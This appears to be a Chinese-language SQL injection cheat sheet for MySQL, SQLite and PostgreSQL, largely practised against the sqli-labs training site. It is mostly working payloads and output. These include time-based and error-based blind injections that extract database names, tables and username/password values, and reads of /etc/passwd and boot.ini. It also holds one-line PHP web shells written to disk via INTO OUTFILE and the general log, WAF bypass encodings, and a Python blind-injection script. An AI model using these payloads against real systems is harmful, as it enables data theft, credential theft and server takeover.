If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
--if 判断语句，条件为假，执行sleep

select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));

select benchmark(1000000,sha1(sha1(sha1(sha1("1")))));
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;

select count(*) from information_schema.columns A;
1 row in set (1.47 sec)

SELECT GET_LOCK(key, timeout) FROM DUAL;
SELECT RELEASE_LOCK(key) FROM DUAL;

//第一个连接
mysql> select get_lock('aaa',1);
+-------------------+
| get_lock('aaa',1) |
+-------------------+
|                 1 |
+-------------------+
1 row in set (0.00 sec)
//打开另一个cmd  再次连接mysql，执行get_lock，发现延时
mysql> select get_lock('aaa',1);
+-------------------+
| get_lock('aaa',1) |
+-------------------+
|                 0 |
+-------------------+
1 row in set (1.00 sec)

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
|                                                           0 |
+-------------------------------------------------------------+
1 row in set (2.94 sec)

select updatexml(1,concat(0x7e,(select user()),0x7e),1)
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

select extractvalue(1,concat(0x7e,(select user()),0x7e))
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

（1）利用sleep()函数进行注入，当错误的时候会有5 秒的时间延时。
http://127.0.0.1/sqli-labs/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
（2）利用BENCHMARK()进行延时注入
http://127.0.0.1/sqli-labs/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
当结果正确的时候，运行ENCODE('MSG','by 5 seconds')操作50000000 次，会占用一段时间。

--猜测数据库：
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
--说明第一位是s （ascii 码是115）
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
说明第一位是e （ascii 码是101）
....
以此类推，我们知道了数据库名字是security
猜测security 的数据表：
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测第一个数据表的第一位是e,...依次类推，得到emails
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
猜测第二个数据表的第一位是r,...依次类推，得到referers
...
再以此类推，我们可以得到所有的数据表emails,referers,uagents,users
猜测users 表的列：
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜测users 表的第一个列的第一个字符是i，
以此类推，我们得到列名是id，username，password
猜测username 的值：
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
猜测username 的第一行的第一位
以此类推，我们得到数据库username，password 的所有内容
以上的过程就是我们利用sleep()函数注入的整个过程，当然了可以离开BENCHMARK()函数进
行注入

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

SELECT FLOOR(1.5) 
-- 返回1
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))
a from information_schema.columns group by a;

select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))

select count(*) from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)*2))

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
爆库
select 1 from ( select count(*),(concat((select schema_name from information_schema.schemata limit
0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x )a;
http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆表
select 1 from (select count(*),(concat((select table_name from information_schema.tables where
table_schema=database() limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;
爆字段
select 1 from (select count(*),(concat((select column_name from information_schema.columns where
table_schema=database() and table_name=‘users’ limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables
group by x)a;
爆数据
select 1 from (select count(*),(concat((select concat(name,’|’,passwd,’|’,birth) from users limit
0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;
select 1 from(select count(*),concat((select (select (SELECT concat(0x23,name,0x3a,passwd,0x23) FROM users limit
0,1)) from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a

GeometryCollection：id=1 AND GeometryCollection((select * from (select* from(select user())a)b))

polygon()：id=1 AND polygon((select * from(select * from(select user())a)b))

multipoint()：id=1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()：id=1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()：id=1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon() ：id=1 AND multipolygon((select * from(select * from(select user())a)b))

可以用来爆数据库
select a();
ERROR 1305 (42000): FUNCTION mysql.a does not exist

仅可取数据库版本信息
select * from(select name_const(version(),0x1),name_const(version(),0x1))a;
ERROR 1060 (42S21): Duplicate column name '5.5.29'

适用版本：8.0.x
mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));

select exp(~(select * FROM(SELECT USER())a));
--其中，~符号为运算符，意思为一元字符反转，通常将字符串经过处理后变成大整数，再放到exp函 数内，得到的结果将超过mysql的double数组范围，从而报错输出。除了exp()之外，还有类似pow()之类的相似函数同样是可利用的，他们的原理相同。
--double 数值类型超出范围
--Exp()为以e 为底的对数函数；

--ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

如果是在适用版本之外：虽然也会报错，但是表名不会出来
select !(select * from(select user())a)-~0;

select abs(99999e9999999); #可使用在报错的布尔盲注中
ERROR 1367 (22007): Illegal double '99999e9999999' value found during parsing

select pow(1+(1=1),999999999999);mysql> select pow(1+(1=1),999999999999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow((1 + (1 = 1)),999999999999)'
mysql> select pow(1+(1=0),999999999999);
+---------------------------+
| pow(1+(1=0),999999999999) |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)

通过这种写法，可以实现报错注入
select pow(1+(表达式),999999999999)
表达式可以是盲注的形式，返回1或者0，通过报错将字符才出来

其他函数用法类似

exp临界值709
exp(709+(1=0))

select !(select * from (select user())x) -（ps:这是减号） ~0
--bigint 超出范围；~0 是对0 逐位取反，很大的版本在5.5.5 及其以上

extractvalue(1,concat(0x7e,(select @@version),0x7e)) 
--mysql 对xml 数据进行查询和修改的xpath 函数，xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1) 
--mysql 对xml 数据进行查询和修改的xpath 函数，xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
--mysql 重复特性，此处重复了version，所以报错。

mysql>select * from(select * from users a join (select * from users)b)c;
mysql>select * from(select * from users a join (select * from users)b using(username))c;
mysql>select * from(select * from users a join (select * from users)b
using(username,password))c

mysql>select gtid_subset(user(),1);
mysql>select gtid_subset(hex(substr((select * from users limit
1,1),1,1)),1);
mysql>select gtid_subtract((select * from(select user())a),1);

mysql> SHOW VARIABLES;

....
50 Query select '<?php eval($POST["diaossama"]);?>'
....Copy

select load_file('/etc/passwd');
select load_file(0x2F6574632F706173737764);Copy

select hex(load_file('/etc/passwd'));Copy

load data local infile "/tmp/test.csv" into table testCopy

Select load_file(‘/flag’);
SELECT CONVERT(LOAD_FILE("/etc/passwd") USING utf8);
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,
114,101,112,97,105,114,92,115,97,109))))
利用hex()将文件内容导出来，尤其是smb文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain：“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain：“c:/boot.ini”的16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用\\代替

load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

Select version() into outfile “c:\\phpnow\\htdocs\\test.php”

Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件

select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’) into outfile‘c:\\wamp\\www\\test.php’

select "<?php phpinfo();?>" into dumpfile "/tmp/1.php";
outfile函数在将数据写到文件里时有特殊的格式转换，而dumpfile则保持原数据格式

如果存在堆叠注入，当然由于是global变量，需要root权限
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/789.php';
select '<?php eval($_POST['a']) ?>';

--使用')) or 1=1--+进行注入
http://127.0.0.1/sqli-labs/Less-7/?id=1')) or 1=1 --+
（2）利用上述提到的文件导入的方式进行演示：
http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,3 into outfile "D:/phpstudy_pro/WWW/sqli-labs/outfile/less-7.txt"--+
（3）直接将一句话木马导入进去，再用菜刀等webshell 管理工具连接即可
http://127.0.0.1/sqli-labs/Less-7/?id=-1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "D:/phpstudy_pro/WWW/sqli-labs/outfile/less-7.php"--+
（4）这里也可以到处数据库的内容

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP', $uname)";

CREATE TABLE users(
    username varchar(20),
    password varchar(20)
)

INSERT插入了admin+15空格，实际上是插入了admin，末尾的空格会被MySQL忽略掉

SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(false)

http://127.0.0.1/sqli-labs/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)
从上述两个图的结果，对比rand(ture)和rand(false)的结果，可以看出报错注入是成功的。

http://127.0.0.1/sqli-labs/Less-46/?sort= (SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
http://127.0.0.1/sqli-labs/Less-46/?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))

http://127.0.0.1/sqli-labs/Less-46/?sort=1  procedure analyse(extractvalue(rand(),con
cat(0x3a,version())),1)
//SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
如果不支持报错注入的话，还可以基于时间注入：
//SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

http://127.0.0.1/sqli-labs/Less-46/?sort=1 into outfile "c:\\wamp\\www\\sqllib\\test
1.txt"
将查询结果导入到文件当中
那这个时候我们可以考虑上传网马，利用lines terminated by
Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(网马进行16 进制转
换)

/**/替代空格
%09 TAB 键（水平）
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键（垂直）
%a0 空格
() 代替空格，在MySQL中，括号是用来包围子查询的。因此，任何可以计算出结果的语句，都可以用括号包围起来。

select user from user where user='$_POST[username]' and password='$_POST[password]';

username=admin\&password=123456#
将这个拼接进去，\就可以将第2个单引号转义掉
select * from users where username='admin\' and password='123456#';
这样第1个单引号就会找第3个单引号进行闭合，后台接收到的username实际上是admin\' and password=这个整体
接下来构造password为or 2>1#
select * from users where username='admin\' and password=' or 2>1#';
上面的语句会返回为真，通过这样的思路，我们就可以进行bool盲注

//
--%20
/**/
#
--+
-- -
%00
;
;%00
;\x00

or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六进制编码

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

双重编码绕过

?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

一些unicode编码举例：    
单引号：'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白：
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

?id=1' or 1 like 1#
可以绕过对 = > 等过滤

or '1' IN ('1234')#
可以替代=

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例：substring()和substr()无法使用时：?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74　

或者：
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

select `version()`，可以用来过空格和正则，特殊情况下还可以将其做注释符用

waf = 'and|or|union'
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'

waf = 'and|or|union|where'
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

waf = 'and|or|union|where|limit'
过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

waf = 'and|or|union|where|limit|group by'
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

waf = 'and|or|union|where|limit|group by|select'
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
只能查询本表中的数据
绕过方式 1 && substr(user,1,1) = 'a'

handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄

waf = 'and|or|union|where|limit|group by|select|\''
过滤代码 1 && substr(user,1,1) = 'a'
绕过方式 1 && user_id is not null    1 && substr(user,1,1) = 0x61    1 && substr(user,1,1) = unhex(61)

waf = 'and|or|union|where|limit|group by|select|\'|hex'
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制，并小写。

waf = 'and|or|union|where|limit|group by|select|\'|hex|substr'
过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) 
绕过方式 1 && lpad(user(),1,1) in 'r'

//过滤了逗号怎么办？就不能多个参数了吗？
SELECT SUBSTR('2018-08-17',6,5);与SELECT SUBSTR('2018-08-17' FROM 6 FOR 5);
意思相同
substr支持这样的语法：
SUBSTRING(str FROM pos FOR len)
SUBSTRING(str FROM pos)
MID()后续加入了这种写法

//联合查询
//获取当前数据库的表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
//获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
//查询数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
//如果group_concat被过滤了，而又只能返回一条数据，则用limit 0,1

//布尔盲注脚本
import requests as req
import time as t
import string

url = "xxx"

select = "select group_concat(table_name) from information_schema.tables where binary table_schema in (select databases())"
select = "select group_concat(column_name) from information_schema.columns where binary table_name in ('xxxx') "
select = "select group_concat(xxxx) from xxxxxxx"
res = ""

def text2hex(s):
    res = ""
    for i in s:
        res +=hex(ord(i)).replace("0x", "")
    return "0x" + res

for i in range(1,50):
    for ascii in string.printable:
        if ascii == '\\': #转义符号没有意义
            continue
        data = {
            "username" : "admin",
            "password" : f"123' or if((binary right(({select},{i}) in ({text2hex(ascii+res)})),(select benchmark(15000000.sha1(sha(sha(1)))) in (0)),0)#".replace(" ", "/**/")
        }
        start = int(t.time())
        r = req.post(url=url, data=data)
        end = int(t.time()) - start
        print(data)
        if end > 4:
            res = ascii +res
            print(res)
            break
        if ascii == string.printable[-1:]:
            exit(0)

/**/
--
两种注释符 --后面不带空格 

#`如果不生效的话则说明不是`mysql

--先创建两个表
CREATE TABLE GIFT(
ID INT PRIMARY KEY NOT NULL,
ITEM TEXT NOT NULL,
LOG TEXT NOT NULL
);

CREATE TABLE SECRET(
ID INT NOT NULL,
fl4ggg TEXT PRIMARY KEY NOT NULL
);

INSERT INTO GIFT (ID,ITEM,LOG) VALUES (1, "Turkey", "Most British families like
to cook their own turkey. A large number of vegetables and fruits, such as
asparagus, celery, onions and chestnuts, are stuffed into the belly of a ten
pound turkey, and then coated with a variety of spices before being baked in
the oven.");
INSERT INTO SECRET (id,fl4ggg) VALUES (1, "flag{Y1ng}");

sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
  type text,
  name text,
  tbl_name text,
  rootpage integer,
  sql text
);
--查询表名
sqlite> SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%';
GIFT
SECRET
--注：这里之所以使用NOT like 'sqlite_%'，是避免出来系统的表，但是可能题目故意将表名弄成sqlite开头

--查询列名
sqlite> SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='GIFT';
CREATE TABLE GIFT(
ID INT PRIMARY KEY NOT NULL,
ITEM TEXT NOT NULL,
LOG TEXT NOT NULL
)
sqlite> SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='SECRET';
CREATE TABLE SECRET(
ID INT NOT NULL,
fl4ggg TEXT PRIMARY KEY NOT NULL
)

TRIM (字符串,要移除的字符) 如果要移除的字符不写，默认是空格
LTRIM 字符串开头部分移除
RTRIM 字符串结尾部分移除
--这个函数与mysql中的TRIM用法不一样

sqlite> select trim('aaaadsd','a');
dsd
sqlite> select trim('aaaadsda','a');
dsd
可以通过特定的trim构造，实现right()和left()的功能
sqlite> select ltrim('casdasd','a') = ltrim("casdasd","c");
0
--通过ltrim去除字符与后一个trim判断相等，确定字符

sqlite> select printf('%.1s','aaaaa');
a
sqlite> select printf('%.2s','aaaaa');
aa
sqlite> select printf('%.3s','aaaaa');
aaa

--通过printf函数格式化操作对字符串截取

--如果printf('%.is', 'abc')=printf('%.i+1s', 'abc') 则说明字符串长度为i

sqlite> select printf('%.5s','aaaaa') = printf('%.6s','aaaaa');
1

sqlite> select case when (1=1) then 1 else 0 end;
1
sqlite> select case when (1=2) then 1 else 0 end;
0

--iif函数使用的版本比较高

sqlite> select randomblob(1);

sqlite> select randomblob(2);
�`
sqlite> select randomblob(3);
~��
sqlite> select randomblob(4);
�2q�
--随机返回N个字节的字符
--转化为十六进制看看
sqlite> select hex(randomblob(4));
F8896FC0

--当长度过长时报错
sqlite> select randomblob(10000000000);
Error: string or blob too big

-- 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([秒]00000000/2))))

sqlite> select 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))));
0

--虽然没有像sleep那样精确，但是也够用了

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')--

Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
sqlite> select ''Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||');

' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||

sqlite> select '' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
   ...> ;

' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--

/**/
--
两种注释符 --后面不带空格 

--可以注释，#不可注释，则不是mysql
利用exp(999999)构造报错，可判断是PostgreSQL
或者测试延时盲注利用pg_sleep()
postgres=# select 123 where 123 = exp(9999999);
ERROR:  value out of range: overflow

string LIKE pattern [ESCAPE escape-character]
string NOT LIKE pattern [ESCAPE escape-character]

postgres=# select 'aaa%bbb' like 'aaa%';
 ?column?
----------
 t
(1 row)

postgres=# select 'aaa%bbb' like 'aaa1%' escape '1';
 ?column?
----------
 f
(1 row)

postgres=# select 'aaa%bbb' like 'aaa1%%' escape '1';
 ?column?
----------
 t
(1 row)

postgres=# select 'aaa%bbb' like 'aaa1%bb' escape '1';
 ?column?
----------
 f
(1 row)

postgres=# select 'aaa%bbb' like 'aaa1%bb_' escape '1';
 ?column?
----------
 t
(1 row)

--可以看到使用escape之后，将1当作转义符

postgres=# select '123' ~~ '1%';
 ?column?
----------
 t
(1 row)

plsql`中并没有`group_concat()`这个函数，用聚合函数`array_agg()、string_agg()
--array_agg(expression) 把表达式变成一个数组
postgres=# select array_agg(name) from company;
 array_agg
-----------
 {Paul,cc}
(1 row)

--通常搭配array_to_string()使用

postgres=# select array_to_string(array_agg(name),',') from company;
 array_to_string
-----------------
 Paul,cc
(1 row)
--string_agg(expression, delimiter) 直接把一个表达式变成字符串
postgres=# select string_agg(name,',')  from company;
 string_agg
------------
 Paul,cc
(1 row)

pg_sleep(5)

--与mysql中的sleep()有所不同
--当将pg_sleep()与布尔一起使用时会报错，因为pg_sleep返回值为空。
postgres=# select '1' = pg_sleep(1);
ERROR:  argument of AND must be type boolean, not type void
LINE 1: select '1' and pg_sleep(1);

方法1：
select xxx from pg_sleep(); --可以延时，并且返回xxx

postgres=# select 1 from pg_sleep(1);
 ?column?
----------
        1
(1 row)
--通过这个就有返回值，可以比较了
postgres=# select '1'=(select '1' from pg_sleep(1));
 ?column?
----------
 t
(1 row)

--可以看出plsql的数据类型比较严格，不会随意进行转换

方法2：
--通过类型转换，将数据转化为字符
postgres=# select '1'=pg_sleep(1)::varchar;
 ?column?
----------
 f
(1 row)

select * from company where id = 1 and 'a'=(case when (1=1) then pg_sleep(5)::VARCHAR else 'a' end);

方法3：
--通过||
--与mysql不一样，在plsql中，||是拼接字符串的意思

postgres=# select '1'||'asss';
 ?column?
----------
 1asss
(1 row)
select * from company where id = 1 and 'a'=(case when (1=1) then pg_sleep(5)||'b' else 'a' end);

postgres=# select pg_ls_dir('/');
 pg_ls_dir
------------
 home
 srv
 etc
 opt
 root
 lib
 mnt
 usr
 media
 lib64
 sys
 dev
 sbin
 boot
 bin
 run
 lib32
 libx32
 init
 proc
 snap
 tmp
 var
 lost+found
(24 rows)

postgres=# select pg_ls_dir('/');
                                       pg_read_file
-------------------------------------------------------------------------------------------
 root:x:0:0:root:/root:/bin/bash                                                          +
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                          +
 bin:x:2:2:bin:/bin:/usr/sbin/nologin                                                     +
 sys:x:3:3:sys:/dev:/usr/sbin/nologin                                                     +
 sync:x:4:65534:sync:/bin:/bin/sync                                                       +
 games:x:5:60:games:/usr/games:/usr/sbin/nologin                                          +
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin                                          +
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin                                             +
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin                                              +
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin                                        +
 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin                                      +
 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin                                               +
 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin                                     +
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin                                     +
 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin                            +
 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin                                         +
 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin        +
 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin                               +
 systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin   +
 systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin             +
 systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin+
 messagebus:x:103:106::/nonexistent:/usr/sbin/nologin                                     +
 syslog:x:104:110::/home/syslog:/usr/sbin/nologin                                         +
 _apt:x:105:65534::/nonexistent:/usr/sbin/nologin                                         +
 tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false                              +
 uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin                                            +
 tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin                                        +

CREATE TABLE Y1ng(t TEXT);
COPY Y1ng FROM '/etc/passwd';
SELECT * FROM Y1ng limit 1 offset 0;  --通过偏移量读取某一行
SELECT * FROM Y1ng limit 1 offset 1;
SELECT * FROM Y1ng limit 1 offset 2;
SELECT * FROM Y1ng limit 1 offset 3;
SELECT * FROM Y1ng limit 1 offset 4;
SELECT * FROM Y1ng limit 1 offset 5;
--直接读取文件的全部内容：
CREATE TABLE Y1ng(t TEXT);
COPY Y1ng(t) FROM '/etc/passwd';
SELECT * FROM Y1ng;

--查表名
select table_name from information_schema.tables where table_name not like 'pg%' and table_schema='public';
select table_name from information_schema.tables where table_name not like 'pg%';
select string_agg(tablename, ',') from pg_tables where schemaname='public';
--查列名
select column_name from information_schema.columns where table_name like 'company';
select string_agg(column_name, ',') from information_schema.columns where table_schema='public'
(老版本)
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名

select relname from pg_class获取表名
select oid from pg_class wehre relname='admin'获取表的oid
select attname from pg_attribute where attrelid='oid的值'  获取字段名

select CURRENT_SCHEMA()           #查看当前权限
select user                       #查看用户
select current_user               #查看当前用户
select chr(97)                    #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110)  #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version()                  #查看PostgreSQL数据库版本
SELECT current_database()         #查看当前数据库
select length('admin')            #查看长度